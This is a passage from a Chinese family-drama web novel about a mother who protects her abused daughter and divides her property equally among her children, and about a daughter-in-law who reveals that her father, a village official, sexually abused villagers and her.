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程星就越是瑟缩,陶枝不禁起了疑心。
她叫程晙找个地方停车。打发了小儿子之后,她关上车门,隔绝外面的声音,和程星面对面问:“你在害怕些什么?”
程星强装镇定:“妈,没有的事。”
陶枝按着她的腿:“星儿啊,你在发抖。”
程星咬着唇,沉默了许久,才说:“妈,我说万一,大嫂不让我进门,怎么办?”
“她什么时候和你说的?”
“就刚生完今禾回来那次。”
“那就是一年前,她原话怎么说?”
“她说:哪有嫁出去的女儿,天天往娘家跑的,不知道的还以为你想回来争家产呢。”
这是覃厉敏能说出的话,这个女人,到底背地里造了多少孽?陶枝差点咬碎银牙。
“所以你就不回来了,甚至赵钧打你,你都不敢和妈妈说?”
程星深深地低下头,实力演绎什么叫沉默是金。
陶枝很无奈,牵起她的手说:“妈妈没有怪你的意思,只是心疼我的宝贝女儿,恨自己没能早点察觉你受的苦,不然这些事可能不会发生了。”
“覃厉敏还做了什么?”
程星抬起头,一副很惊讶的样子。
“你不会因为区区两句话,就做这么不理智的事。”陶枝饱含怜爱地看着她。
程星涨红了脸,带着被看穿后的羞涩,她撒娇:“妈~”
“你说出来,妈给你做主。”
“其实早在她怀孕,那时候我还没嫁,她就已经说过类似的话。大致意思是:让我早点嫁出去,别老想着占娘家的便宜,家里的一切都是长子长孙的,我多用两分,他儿子就少两分。”
“我当然不理会她,我吃自己爸妈家,关她什么事?但是她又怀着孕,我就不好找您告状,想着她是受激素影响,时间久了,应该就不会再说这些话。”
“哪里能想到,第一次没有制止,第二次会变本加厉。后来我不想跟她吵,就在厂里租了间宿舍,挺匆忙的也结了婚。”说到这里,程星苦笑,“结果反把自己给害了。”
“赵钧家穷,她更看不上了,以至于后来我回家,她不仅嘴上叭叭,有两次还动上手了。”
程星拨开头发,给陶枝看耳朵后面,上面还有两道浅浅的印子,“这是被她用指甲挠的。”然后拉着陶枝的手,在头顶上摸索,“这里有个小坑,被她用水壶砸的。”
陶枝的眼泪瞬间掉了下来,她一把抱过程星,呜咽着说:“对不起,对不起......”
程星仿佛被吓到了,她手忙脚乱的,拿纸巾给陶枝擦眼泪。
“妈,没事,都过去了。经过这一次,我以后有事,也不瞒着您了,我什么都和您说。”
当晚,人到齐之后,陶枝召开家庭会议,宣布了全家搬迁的决定。
程曼先发问:“妈,那我的学习怎么办?”
“转学,你大姑会帮忙。”
程曼满意了。
程晖愣了:“妈,那我呢?”
陶枝淡淡地:“我也给你留了房间。”
“那......那厉敏和明明呢?”
“覃家人就不必进门了,明明要么跟你,要么跟着他妈。”
9. 第 9 章
程晖大吃一惊:“妈,明明不一向都跟着我们吗?”
“那现在就到你抉择的时候了。”
“您的意思是......离婚?”
陶枝矢口否认:“我没有说过这样的话。”
程曼看不下去了,她扯了一下程晖:“大哥,妈的意思是,只要嫂子不进门,随便你怎么安排。”
“如果我不想离婚呢?”
陶枝很平静:“儿大不由娘,那你搬出去。”
“那怎么行?”
“为什么不行?”
“我身为长子,理应奉事父母。”
“我们家没有长子嫡孙的说法,只要孩子过得好,我和你爸不需要谁承欢膝下。”
“可是......可是......”程晖可是半天,也没说个一二三出来。
陶枝替他说了:“你顾你的小家,爸妈要顾大家,我们都没有错。但为了家庭和睦,我们必须得分开住,妈这样说,你能理解吗?”
程晖垂头丧气的,但没有人同情他。
小时陶枝还赞他沉稳斯文,现在看来实属守旧迂腐。反正她也想开了,毕竟她看走眼的事也不止一桩。
大家都心生欢喜,准备怀抱新生活。一家子各自收拾,约见,和亲朋告别,忙得不可开交。
搬家前夕,陶枝把程晖叫到跟前,问他:“你有什么打算?”
“妈,你们都搬去市里了,厉敏她们能回来住吗?”
陶枝果断拒绝他:“你爸还住厂里呢。”
程晖低下头。
“你老丈人家怎么说?”
“我没告诉他们咱家要搬。”
陶枝宽慰,总算有点长进。
她说:“我和你爸商议了,决定先分一次家,四个子女平等,你有没有意见?”
程晖心底清楚,他要是胆敢说有,陶女士就敢一分钱都不给他,于是他连忙摇头。
“我在市里买了三块地,星星和曼曼各一块,价值十万。再加上建房子,买家具,我也凑了十万,那就是一人分二十万。”
“程晙的钱买了车,剩两万没用完,我等凑手了再给他。以后他如果要搬出去住,房子就得靠他自己想办法。”
“你呢,也是二十万,咱家一视同仁。明明是你的责任,不是我和你爸的,所以我不会给他分钱。儿媳妇就更不用说了,我自己也有女儿,没兴趣养别人家的女儿。这二十万,你是打算一次拿走,还是只先拿一部分?”
程晖问:“如果先拿一部分,那剩下的怎么说?”
“我会给你存起来。”
程晖欲言又止,“那我还是全拿了吧。”
陶枝苦口婆心的:“晖儿,我和你爸,这次是把棺材本,都掏出来给分了,我自己建房子,说不定还得举债。要说下一次分家产,得是我百年归老后。所以妈妈希望你,好好守着这笔钱,不要大手大脚,也不要给别人。钱是一个人的胆,特别是男人,想要做出点成绩,手里没钱可不行。”
程晖一直点头,具体听进去多少,只有他自己知道。
陶枝言尽于此,她约定明天去银行,先把分家的钱都给了,然后趁着一家子人齐,每个子女都得签分家文书。
这是为了堵住某些有心人的嘴,也证明陶枝是铁了心的,拿真金白银出来证明,女儿具有同样的继承权,外人没有权利置喙。
全家整装待发,收到风的覃家人,又一次找上门来。这一次,少了覃老头,也没了年少的青壮,他们看起来也很虚,再无嚣张的气焰了。
这次,是覃老太站在前面,她陪着一张皱成菊花的笑脸:“亲家,我们来送送你。”
陶枝只想到一句:黄鼠狼给鸡拜年。没事都要惹一身腥了,她还是赶紧上车跑吧。
车子滴滴两声,警醒路边的人,缓缓开上了马路。
覃老太气得直拍大腿,她质问程晖:“你爸还在派出所呢,这下可怎么办啊?”
“找我妈也没用啊,她又不是公安局的。”
“她不是认识派出所的那谁?她能把人送进去,肯定就能把人弄出来。”
覃厉敏把儿子拉过来,往程晖的身边一塞,气冲冲道:“你妈惹的事,你来想办法。”说完叫上覃大宝,带上覃老太就走了。
程晖站在原地,挠挠头一脸苦笑。
家里现在没人,就只剩他一个。虽然厂子仍在开工,但他也不放心把儿子留下,所以他只好把程明澄带上,骑摩托去派出所找程安。
他刚到派出所,程安就和同事,从所里急匆匆的出来。
程晖叫他:“安哥。”
程安定睛一看:“晖仔?你来所里有事?”
程晖点点头:“安哥,我找你有点事。”
程安脚下不停,他指指同事说:“现在不凑巧,你等我出警回来再说?”
程晖虽然不情愿,但也知道公事要紧,他说:“那我明天再来。”
程安拍拍他的肩,一阵风似的就走了。
程晖带着儿子折返家里,这时工人已经下班了。这年代加班的少,基本到点就下班,煮饭阿姨不负责晚餐,早早就收工回家了。
经过上次覃家人打上门,陶枝给厂里请了两个保安,一看就是身经百战的好手。也不知陶枝走的什么门路,反正听说是出了大价钱。陶枝说不放覃家人进门,覃厉敏是大门都进不了一步。谁付钱谁是老板,人家也不认程家的儿媳妇。
总之,覃家人气坏了,陶枝则美滋滋,觉得这钱花得值。瞧瞧,见不到讨厌的人,少了多少烦心事。
所以,现在两栋大房子里,就只有程晖父子两人。
程晖问程明澄:“明明,饿不饿?”
程明澄摸着小肚子:“饿。爸,我妈呢?”
程晖把他抱上儿童餐椅,“外公没在家,你妈去陪外婆了,今晚老爸陪你好不好?”
“外公去哪了?我好久没见到他了。”
“外公去很远的地方干活了,要把事情做完才能回家。”
“就像我要先把大字写完,才可以吃饭一样吗?”
程晖摸摸他的头:“对的,明明真厉害,这都能猜到。”
程明澄骄傲地挺起小胸脯:“张老师说,我是幼儿园最棒的小朋友。”
“最棒的小朋友,那
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今晚吃面条,可以吗?”
程明澄用力点头,并且大声说道:“可以。”
程晖笑着去洗菜,然后抓两把挂面,一起放在锅里煮。没办法,这是他唯一会煮的食物了,想想从小到大,爸妈就没让他沾过家务活,心里不禁升起一丝愧疚。
程明澄叫他:“爸爸,爸爸,汤冒出来了。”
程晖回过神,低头一看,面汤溢出来了,他连忙打开盖子,拿过抹布擦灶台。结果一个不小心,抹布直接掉锅里了。程明澄哇一声哭出来:“爸爸笨,爸爸是个大笨蛋。”
程晖忙去抱明明,一时找不到手绢,直接拿袖子给他擦眼泪,结果把小脸蛋给擦红了,程明澄于是哭得更加大声。
程晖把他抱下椅子,蹲下来和他说:“明明,不哭了,爸爸带你出去吃好吃的。”
程明澄的哭声慢慢降低,他从自己小小的指缝中,露出大眼睛往外看,眼里还含着两泡眼泪,像雨后被洗刷一清的天空,看得人心里柔柔的,像被羽毛轻轻拂过,软得是一塌糊涂。就像那昏君一样,他说什么都肯答应。
程明澄问:“爸爸不骗人?”
程晖郑重点头:“骗人是小狗。”
“拉钩?”
“拉钩上吊,一百年不许变。”
程明澄放心了,乖乖收起眼泪,就等爸爸出发。
程晖把面捞出来倒了,那时候还有人收潲水,对于厂里来说,吃不完也不至于浪费。他再把抹布洗了,灶台也擦干净了,就骑车带程明澄去县城开小灶。
他找了一家饭店,平时厂里请客常去的,卫生和味道都算不错。程晖坐下,先给明明点了鸡蛋羹,豌豆玉米炒胡萝卜丁,还有莲藕蒸肉丸,最后再加一份炒饭,这是给他自己的。
小孩子吃得不多,剩下的全给程晖包了。盘子吃得光溜溜,两父子都吃了个肚圆。
买单的时候,平时走公帐没啥感觉,现在花的是自己的钱,程晖的心还痛了一下。他才想到,老爸独立支撑一个厂,管那么多人的吃喝,五六十岁了还得拉业务,努力创收给人开工资,其实也很不容易啊。
走出门口,程明澄很满足:“要是每天都这么好吃,那就太幸福了。”
程晖摸摸他的小脑袋:“天天都这么吃,你爸我可养不起。”
说到这里,程晖心里咯噔一下。话说这二十万才到手,乍一看,觉得这笔钱很多,但是陶女士明确说了,不到她百年之后,是不会再分钱的了。覃厉敏连厂子都进不去,那么,这一笔钱,除了要买房,要养妻儿,岳家还时不时刮一点走,小舅子也动不动就打秋风,算起来根本就不经花。
程晖都不敢想,如果没有了收入,万一再生一个娃......还没算儿子读书,工作,娶媳妇,这之后的种种开销。他现在就有明显的,坐吃山空的危机感。本来他还想着去派出所打点,在房子未落实之前,他不敢轻举妄动了。
程晖就站在原地,把自己惊出一身冷汗。他这才稍微理解了父母,赚钱那么的艰辛劳累,谁都不想当冤大头,手松松的把钱撒出去,哪怕那个人是亲儿子。他第一次,为覃家人的逼迫,而感到羞愧难当。
10. 第 10 章
程晖把程明澄带回家,抓他洗澡,哄他刷牙,给他讲故事,把自己累出一身汗。
他的精力耗尽,躺倒在儿子身边,静静等着体力恢复。他没想到,一个三岁的小孩,看起来那么的乖巧,却分分钟能把人折腾疯。他今天才体会到,父母把小孩养大的不易。
一觉醒来,他起床,给儿子梳洗,再送他去幼儿园。回程,顺路去买河粉,回去给工人做早餐。吃过早餐,开始换衣服上班。他的技术不算好,还在跟着车床师傅学习。
到了中午,程明澄在幼儿园,程晖吃过午饭回房休息。房间里没有人声,他的心也跟着空荡荡的。
下午,他提前下班去接儿子,带着程明澄在外吃饭。回来后,重复昨天的流程。哄睡儿子后,程晖累得倒头就睡,没了伤春悲秋的时间。
这样过了几天,程晖受不住了。他趁着中午休息,跑了趟老丈人家,想让覃厉敏带儿子。
覃厉敏反问:“我爸还没出来,我妈也病倒了,你两只眼睛看不见吗?”
程晖喏喏的:“那你想怎么样?”
“你去派出所找人啊,花钱也要把爸弄出来。”
“可是我们没钱。”
覃厉敏气不打一处来:“当初说要争要抢,让你爸漏点给我们,你死活都不同意。现在好了,只会说没钱没钱,那你想办法去弄钱啊。”
“我的工资,自己一分不剩,我全都给你了。”
覃厉敏尖叫:“那点钱哪里够?”
“你去找过人了?”
“你躲得像个缩头乌龟,我要再不出面,那真是叫天天不应了。”
“你就为了跑这事,对儿子不闻不问,不管也不顾?”
“那不然怎么办?你说!你岳父在看守所,你去看过他一眼吗?你有为他送过一顿饭吗?你有为他奔波过哪怕一次吗?没有,什么都没有,你什么都不做,现在却反过来怪我?”
程晖怒火攻心:“你不要告诉我,你不知道你爸是因为什么进去的?”
“你妈把他送进去的!”
“覃厉敏,我警告你,你别把屎盆子扣我妈头上。你爸做过什么,我不信你什么都不知道。你要真有那么清白,就不会默认你爸的行事,上门来逼我爸妈给钱了。”
覃厉敏气得像只河豚,她直接给了程晖一爪子,挠得他脸上一道一道的。
程晖使劲一推,覃厉敏踉跄几步,刚洗过碗的地上湿滑,她没站稳直接摔了一跤。
程晖以为她使苦肉计呢,他正在气头上,再说也快上班了,他看覃厉敏一眼就走了。
覃厉敏躺在那,半天没爬起来。
还是覃老太出来堂屋喝水,看到女儿躺在湿漉漉的地上,觉得不对劲才过来瞄一下。
结果覃厉敏脸色发青,躺在那默默流着泪,一动也不动,把覃老太给吓坏了。
“敏儿,你怎么啦?”覃老太推她。
覃厉敏转过头,看见她妈,哇一声哭出来:“妈,程晖他打我。”
覃老太赶紧去拉她:“他打你,你也不能躺地上啊。”
覃厉敏“啊”了两声:“妈,妈,快松手,我扭到腰了,起不来。”
覃老太又没力气,只会一叠声的喊:“大宝,大宝,你在家吗?”
“妈,别叫了,他一早出去了,午饭都没回来吃。”
覃老太急得团团转:“怎么办,那怎么办?”
覃厉敏有气无力:“你去叫隔壁三婶帮帮忙。”
“诶,诶,我这就去。”三婶人长得高,看起来就有力,找她准没错,覃老太的小脚走得飞快。
果然,三婶来到,直接把覃厉敏给抱起来了,还给她送到屋里的床上躺着。覃老太摸出两把奶糖,让三婶拿回去给孙子。三婶接过来,笑笑不说话,出门就回家了。
覃老太翻出药酒,掀起覃厉敏的衫尾,哐哐哐涂了一大圈,拿着刮痧板就上手了。
覃老太用尽吃奶的力,只痛得覃厉敏嗷嗷大叫,听起来凄惨得很。
有人冲进院子,站在门外大喊:“嫂子,家里出什么事了,厉敏是不是被她老公打了?”
语气里的幸灾乐祸,那是一点也没想藏着。而且,村里看见程晖的人,也不止那么一两个,也不怪别人会这么想。
覃老太手下一顿,“糟糕,忘了关院门。”
她放下刮痧板,颤巍巍地走出去,面对着好奇的村里人:“没有的事,她就是不小心摔了一跤。”
“摔一跤能疼成这样?”村里人可不相信。
“我刚还看见三婶出来,不是被打到起不来吧?”
“听说厉敏厉害得很,经常把小姑子打哭,怎么还让老公给打了?”
有人“呸”一声:“她也就只敢欺负女人。”
“也是,男人那力气,可不是盖的。”
也有人有疑问:“她老公真这么厉害,怎么不早点收拾她?”
覃老太听不下去了,拿着扫院子的大扫把:“出去出去,我家不欢迎你们。”
村里人直接往地上吐口水:“全村就没人想来你家,万一进了淫窟就出不来,人家想哭都没地方哭去。”
还有人拍手叫好:“现在好了,苍天有眼,老淫棍终于进去了。”
更有人落井下石:“所以我们就来看热闹啦。”
把覃老太气得一口气差点没上来,她扶着门框在不停地喘粗气。
她想到女儿还躺在床上,锤两下胸口又往屋里去。
覃厉敏睁大眼睛,呆呆地看着蚊帐顶。
覃老太说:“敏儿,她们那些人瞎说的,就是看不得咱家好,背地里羡慕嫉妒我们呢,才故意说这些难听的话,你可千万别往心里去。”
覃厉敏看向覃老太,黑黝黝的眼睛,定定看得她心里发毛。
覃厉敏开口了:“妈,我亲眼看见了。”
覃老太手一抖:“你看见什么了?”
覃厉敏一个字一个字地往外说:“看见我爸把人拖进柴房。”
覃老太试图掩饰过去:“村里人不听话,你爸在教训她呢。”
“教训需要把人的衣服都扒了吗?”
“这不是怕她跑出去喊人吗?”
“那为什么还要把人给绑起来?”
“就是怕她跑嘛。”
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“妈,那爸爸也脱衣服,又怎么解释?”
覃老太受不住了,哭着拍她的手:“你到底看到了多少?”
覃厉敏冷冷吐出两个字:“全部。”
“这个畜生,这个畜生,他怎么就不知道避着人。”覃老太哭着喊着,眼泪哗啦啦直流。
“妈,你为什么不制止他?”
覃老太像失去了所有力气,她缓缓地站起来,解开上衣的扣子,把整个后背给露出来。
背上布满了纠缠交错的伤疤。
覃老太:“你以为我没制止吗?我敢拦他一次,就被暴打一次。”
覃厉敏浑身都在发抖,她轻轻触碰那些疤痕,柔声问:“妈,还疼吗?”
“不疼了,后面我学乖了,也就不去管他了。”
“妈,你没想过报警吗?”
覃老太苦笑:“不是谁都能像你婆婆,有胆量,有门路,还有人帮。我要是走出村口一步,你爸后脚就能把我抓回去。”
覃厉敏喃喃自语道:“原来这一切都是报应。”
覃老太突然有种不详的预感:“敏儿,你在说什么?”
她女儿坐在那哈哈大笑:“我说,这一切都是报应。”
覃老太过来探她的额头:“你不要胡思乱想,要报也是报在你爸身上。”
覃厉敏神情状若癫狂,她说:“妈,报应已经来了,你没有看到吗?”
覃老太背脊升起一股凉意,她厉声喝问:“在哪?”
覃厉敏双眼通红,她注视着覃老太:“妈,几年前,在村办公室。”
覃老太哆嗦着,她不敢往下想,她惧怕噩梦成真。
覃厉敏恨声说道:“我被村长带到办公室,门从外面被锁了起来。那一天,我一直在喊爸爸,可是没有人应我。一直到天都黑了,还是没有人来救我。”
她抖得像筛糠,还在继续说道:“我一直以为,我爸他那天被支开了。直到,直到,我看到了他的肮脏事,看到了他和村长勾肩搭背......”
覃厉敏数度哽咽,她终于说不下去了。她不顾腰痛与否,砰砰用头去撞墙。
覃老太睚眦欲裂,她拼着这把老骨头,一下抱住覃厉敏,一边打一边骂她:“你为什么不早说?啊,你怎么什么都不说?”
“妈,我说过多少次,叫你管管他,我受不了了,我活得好累。你可有听进去一次?”
覃老太难堪地撇开脸:“我以为你说他打你骂你的事。”
“别自欺欺人了,自从我长大后,他压根就没打过我。反而只要我不顺他意,他就把我带去办公室......”
屋子里一直回荡着,她嚎啕大哭的声音。
过了良久,覃老太出声了:“那你为什么还要赎他出来?”
覃厉敏打了个冷颤,满眼惊恐地看着她妈。
“别救了,也别使劲了,就让他呆在里面吧。”覃老太拍板。
虽然她恨不得生啖其肉,但法治社会,这是目前最好的选择了。她决定再去游说更多的受害者,争取把覃老头按死在监狱里。
最好,连村长也一起送进去。覃老太恶狠狠地想。
11. 第 11 章
程晖本来要走了,隐约听到有人说覃厉敏摔倒,他才又折返回来。
他走到大门处,看到门已上锁,于是他绕到房屋背后,打算敲窗问候下厉敏。
他现在站的这条小巷,是谈恋爱时的秘密基地。
每次分开依依不舍时,他就会来这里,靠着墙和厉敏再多说几句。
当然,陶女士的教育还是很成功,拍拖这么久了,也有过多次的机会,但程晖从未越雷池一步。
他此刻站在这里,听着这肮脏的交易,像是晴天被劈了个大雷。心心念念结个婚,把对方捧在手心疼,对她家言听计从,甚至还为此和父母对抗。结果到头来,娶了一个老婆,还是别人权色交易下的产物。也不知这些知情人,背地里在如何嘲笑他。程晖冷笑连连,自己这几年来,活得真他妈是个笑话。
程晖完全不记得,他是怎么离开那里的。等他回过神的时候,他已站在县城的江边,对着江面抽了大半包烟。
落日余晖,小孩子们经过他身边,叽叽喳喳吵个不停,他才蓦然惊醒,还没去接程明澄呢。
他连忙骑上车,赶到幼儿园去。此时,小朋友都回家了,园里显得很空旷,安静得有点可怕。
程晙扑到门口,门卫也下班了,不过侧门未上锁。他进去,找到教室,看到程明澄一个人,安静地坐在座位上,既不看童书,也不玩玩具。
他看到这么小小一个人儿,孤零零的,不哭也不闹,愧疚瞬间占据上风,他的泪湿了眼眶。
有脚步声在靠近,程晖赶紧擦了擦眼睛。他抬眼,见到明明最喜欢的张老师,从洗手间里走出来。
张老师问:“是程明澄爸爸?”
“是的,老师。”
张老师说:“下次你可得早点。眼看着小伙伴们都走了,就剩他一个人留到最后,程明澄虽然还小,也是会感到孤单和难过的。”
程晖没有解释,接受了她的好意:“好的,谢谢老师,以后不会了。”
张老师扬声叫:“程明澄,你看,谁来了?”
明明抬头看到爸爸,像火箭一样冲向程晖。“爸爸,你总算来了。”
程晖蹲下来接住他,然后一把抱起来:“对不起,爸爸来晚了,你怪不怪爸爸?”
明明摇摇头:“不怪,爸爸的工作忙,老师都和我说了。”
程晖向张老师投去感激的目光,同时在心里下了个决断。
他郑重向张老师道谢,顺便给程明澄请了假。
第二天,程向前还没回来,程晖带着程明澄,也踏上了去往市里的路。
程晙一早在车站等着。接上程晖父子俩,除了明明向叔叔问好,此外兄弟俩再无二话。
下车前,程晙说了一句:“不管什么事,慢点说,别气到咱妈,她心脏不好。”
如果程晙不提,程晖确实忘了这码事。主要陶女士太活蹦乱跳了,哪个有心脏病的敢像她一样。
陶枝也不会傻到昭告天下,“老娘早给阎王爷治好了,额外还添了三十年寿命。”
她要是胆敢这么说,恐怕立马被送去康宁医院。
反正她握着这张底牌,哪个要是忤逆不孝,她就往地上一躺,高低能讹点同情票。
程晖回程晙:“我知道了。”
程明澄一进门,瞬时秒变星星眼:“爸爸爸爸,这里好大,好漂亮啊。”
两扇雕花大铁门,中间是入户的主路,直接通向那栋别墅。
主路两旁的空地,都建成了大花园,栽满了当季的鲜花。看得出是新种下不久,还带着新鲜泥土的芬芳,闻起来令人心旷神怡。在花园的一角,座落着一座小喷泉,此时正孜孜不倦的工作着。
随着小路步入主楼,连程晖都不禁哇一声。
房子的一二层打通了,做的挑空挑高客厅,看起来很是开阔舒适,大吊灯更显奢华大气。整个客厅,用的是大幅的玻璃,显得格外的光亮通透。程晖当时不知道,这种玻璃有个名叫落地窗。
在客厅的右边,摆了一张大茶桌,四周放了十来把椅子。
而在客厅的左边,靠着墙壁,有一台29寸的大彩电,旁边还有一台录像机。电视的正对面,则是摆了三组沙发,品字形围了一大圈。家里这几口人,可以都敞开来坐,大家都能舒舒服服的了。
在客厅的左侧,就是上下的楼梯。而在楼梯的旁边,就是这栋楼的厨房了。
厨房是一个大开间,打开窗户,直闻花园的花草香,仿佛可以一边做饭,一边洗去满身的疲惫。贴墙做了两面灶台柜,中间还砌了一个中岛台。而另一面墙的角落,则摆放着冰箱和消毒柜。
程晖看了都咂舌,陶女士也太舍得了。
程明澄和爷爷奶奶打过招呼,迫不及待的蹬蹬蹬就跑上楼,程晖只好跟在后面追。
二楼分别是老爸老妈,程星,小今禾的房间。
程晙和程曼则霸占了整个三楼。
三楼也有一个小客厅,这样的话年轻人会客,就不必和长辈抢一楼了。
程明澄看了小今禾的房间,就像小老鼠掉进了米缸,在里面玩得都不想出来。
程晖只好随他去,他去一楼找老爸老妈。
陶枝和程向前,躺在沙发上看录像带,两人还交头接耳的,看得正津津有味。
程晖走过去,叫了声爸妈。
陶枝把电视关了,先行穿鞋走出去,对他们两父子说:“出来说。”
她拐去花园里的小亭子,四面栏杆都砌了长凳,中间也放了小桌和石凳。
程晖这下真惊着了,刚站在门口都没瞧见,可见这亭子私密性甚好。而且,他第一次对陶女士的审美,还有花钱的能力,甘拜下风。
他们随意坐下,程晖开口,把昨天看到的,听到的,一五一十,一字不落地,告诉了他爸他妈。
陶枝恶心得隔夜饭都要吐出来,程向前赶紧把茶递给她,让她漱漱口压压惊。
她和程向前喟叹:“有句话说:‘有福之人,不进无福之门;无福之人,进不到有福之家。’现在看来,我们做得远远不够啊。”
程向前安慰她:“这事不就给我们警示了嘛。现在开始,也还来得及。”
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陶枝叫老头子回屋:“儿媳妇的事,你做公公的,不适合多听。”
她转而问程晖:“那你有什么想法?”
“妈,我很迷茫,我也很害怕。”
“我能理解。不管是谁,一朝得知身边人如此不堪,想来也很难过自己那一关。”
“妈,你还希望我离婚吗?”
陶枝正色道:“儿子,你听好了,现在我很认真。离不离婚,看你自己,我都没有意见。一个家庭如何,主要看两夫妻,我不是你们,没有办法给意见。你不是程星,不离怕是命都没,你和她的情况不一样。”
“那我该怎么办?”
“问你自己的心。”
“妈,您帮帮我吧。”
“儿子,这人哪,只有自己想通了,再发生同样的事,才不会选择怪别人。当然,最重要的,是学会放下,学会不计得失,学会自己承担后果,这事才会真正的过去。”
她拍拍程晖的肩:“你从认识这个人起,和她相关的所有事情,从头到尾都过一遍,你应该就有答案了。”
陶枝施施然离去,把空间留给程晖一人。
程晖独自在花园里坐着,直到夕阳下沉,暮色四合,陶枝出来叫他吃晚饭。
这一次,程晖终于有回到家的感觉,他下筷子的速度,都快比划出残影了。程明澄有样学样,想抢着夹菜抢不到,挥勺子的频率变高了,饭都比平时多吃半碗。
酒足饭足。陶枝瞪他俩:“吃完站一会,别吃饱就躺。”
程晖问:“妈,我住哪里?”
陶枝没好气:“到处都是房间,你不会自己挑啊?”
“那我......住三楼?”
“随便你。”
“程明澄,走,上楼去。”
“停,明明住二楼,他房间我收拾好了。”
程明澄仰着小脑袋,“奶奶,我怎么没看到?”
“嗯,让奶奶想想~可能你光顾着玩玩具去了?”
程明澄不好意思的挠挠头。
他把小手伸出来,递给陶枝牵着,一起去看他的房间。
其实俩小孩离得近,就隔了一间书房。陶枝明确说了,这是明明和今禾,以后做作业的地方,所以程明澄一听就跑了,以至于错过他自己的房间。
房门一打开,程明澄“哇”个不停,他缠着陶枝问:“奶奶,这真是我的房间吗?这里面的东西都是我的吗?”
屋顶画了一个银河系,缀满了数不清的星星,梦幻得像在九重宫阙。墙上涂的是很浅很浅的蓝,就像日出薄雾时的天空一样。其中有一面墙,画了九大行星,而在墙边的窗台,配置了双筒望远镜,旁边还放着一本《小王子》。
一张小小的儿童床,还搭了几阶楼梯,方便小孩自己上下床。
程明澄喜欢得不得了,自己在楼梯爬上爬下,东摸摸西蹭蹭,感觉一切都爱不释手。
陶枝给他吃定心丸:“这里的一切,都是明明的。”
程明澄去拉程晖的手:“爸爸,我喜欢这里,我可以在这住吗?”
12. 第 12 章
话说昨天程晖走时,他神魂落魄的样子,落入不少村人的眼里。
不过,基于覃家的名声,没有人会多事,特地跑去告诉覃家人。
因此,覃厉敏并不知道,程晖已了然她不欲人知的秘密。
她仍以为,日子还如从前一般,少了覃老头的压榨,说不定还会过得更好。
她手上捏着程晖的钱,在娘家吃香喝辣,生活过得美滋滋的。
但是过了几天,也没见程晖来找她,连程明澄也不露面,她开始觉得不对劲。
她打电话去厂里,接电话的说:“程晖没在,明明也没在。”
又过了两天,再问,依旧是这个回答。
覃厉敏有点慌了,她叫覃大宝送她回厂,结果程家人一个都没在。
她问那些工人,其他人都避之不及,只有煮饭阿姨告诉她:“他们都去市里了,走了有五六天吧。”
覃厉敏瞬时感觉天都塌了,这是第一次,事情完全超出她的掌控范围。她就算想发脾气,想逼程晖低头认错,想借着闹事巩固地位......她也找不到人。
就算她有千方百计,最重要的一点,她连人在哪都不知道。
空有张良计,却无处施为。
覃厉敏跌跌撞撞,和覃大宝又回了娘家。
下车后,还被覃大宝拿走二十块,说这是他跑腿的辛苦费。
覃厉敏无力去计较这等小事,她现在得赶紧捋清程晖的思路。如果不能拿捏住程晖,那她在程家,恐怕将毫无容身之地。
她思来想去,唯一例外的,就是程晖来的那天,想让她照看明明。她当时怎么说的?哦~她没答应,还想让程晖去找人,说是婆婆做手脚,把她爸给弄进去的,结果程晖发了好大一通火。
覃厉敏告诉自己,淡定,淡定,她又不是第一次蛐蛐婆婆。有时候程晖同仇敌忾,有时候在旁默不吭声,他发火,说来还真是第一次。
她却是不知,自从陶枝给他二十万之后,程晖的立场,天然的发生了改变。以前是嫌老妈不给钱,还管得宽;现在老妈不管了,还给了这么多钱,程晖是疼他妈都来不及,哪里舍得别人去骂陶女士。
可惜程晖拿到钱,没有告诉覃厉敏,不然她多少能猜到一点,也就不至于在雷区蹦跶。
没了程晖当冤大头,覃厉敏又不舍得花,现在覃家的日子并不好过。以前天天大鱼大肉的,从这两天开始,基本都是青菜豆腐萝卜干。
覃大宝吼覃老太:“妈,你倒是买点肉啊。”
覃老太吓了一跳:“我哪里有钱?”
“我爸的钱呢?”
“我怎么知道?你问你爸去。”
覃大宝一掀桌子:“那都别吃了。”说完骑上摩托车就走了。
覃老太气得直哆嗦,她和覃厉敏哭骂:“你看看他,像个什么样?”
覃厉敏蹲下身,把饭菜扫了,碗筷捡起来,重新熬了一锅粥。
她天天打电话问,程晖还是没消息,她都恨不得买票去市里找人了,哪有心情理覃大宝。
晚上,覃厉敏躺在床上,绞尽脑汁想怎么破局。突然,她想到了程晖老家,她还有个同村,覃玉芬就嫁了隔壁房呢。
第二天她就杀去老家,程家村的人看到她,都很纳闷:“你没去市里吗?”
亏得陶枝和程向前,都不是多嘴的人,也就和程晙程曼熟的,知道覃厉敏的“光荣事迹”。不过年轻人也不会和家里说,要不然凭着陶枝的好人缘,她非得被打出村不可。
覃厉敏有苦说不出,她只好陪着笑脸:“我找玉芬有点事。”
隔壁房的二婶子说:“玉芬在家呢,你去找她吧。”
覃厉敏快走几步,躲开背后探究的目光。她进门就喊:“玉芬,玉芬。”
覃玉芬听到了,放下手上的活计,从屋里走出来。她看到覃厉敏,还愣了一下:“怎么是你?”
覃厉敏扯她进屋,看看左右都没人,悄声说:“你能不能帮我个忙?”
覃玉芬用力抽出自己的手,把衣服上的皱褶给抚平了,“什么事?”
“你知道我公婆搬到哪里去吗?”
覃玉芬倏然抬起头,清清冷冷的望着她。
覃厉敏被看得心底一慌,她避开覃玉芬的视线,低声喝问:“你到底知不知道?”
“知道。”
“那你快告诉我。”
覃玉芬扬起嘴角:“我偏不。”
覃厉敏没料到这个回答,她的脸迅速挂上寒霜:“玉芬姐,别忘了,你爸妈还住在覃家村呢。”
覃玉芬笑了出来:“你以为你是覃支书?”
覃厉敏恨声道:“你——”
“别你你你了,整条村都知道,你爸被关起来了,真是活该。”
覃厉敏气得直接手举高。
只是还没等她打下去,就被人捏住了手腕。
覃玉芬两眼冒星光:“大山,你回来了?”
程大山一把甩开覃厉敏,“她到家里撒野来了?”
覃玉芬嗤笑:“可不是,还当自己是村支书、覃校长的宝贝女儿呢。”
覃厉敏想上前撕了她的嘴,可是程大山就在旁边,人如其名,像座山一样站那不动。覃厉敏看得发怵,知道自己讨不了好,赶快转身跑了。
经过村口,二婶子还问:“这么快就走了?”
覃厉敏胡乱点了点头,脚下是一步都没停。
村口的人就说:“这个闺女,真没礼貌,跟她爸一样。”
覃玉芬问程大山:“我以为你会把她打一顿。”
程大山摆手:“算了吧,轮也轮不到我,大伯娘都不出手。”
“那是大伯娘要面子。”
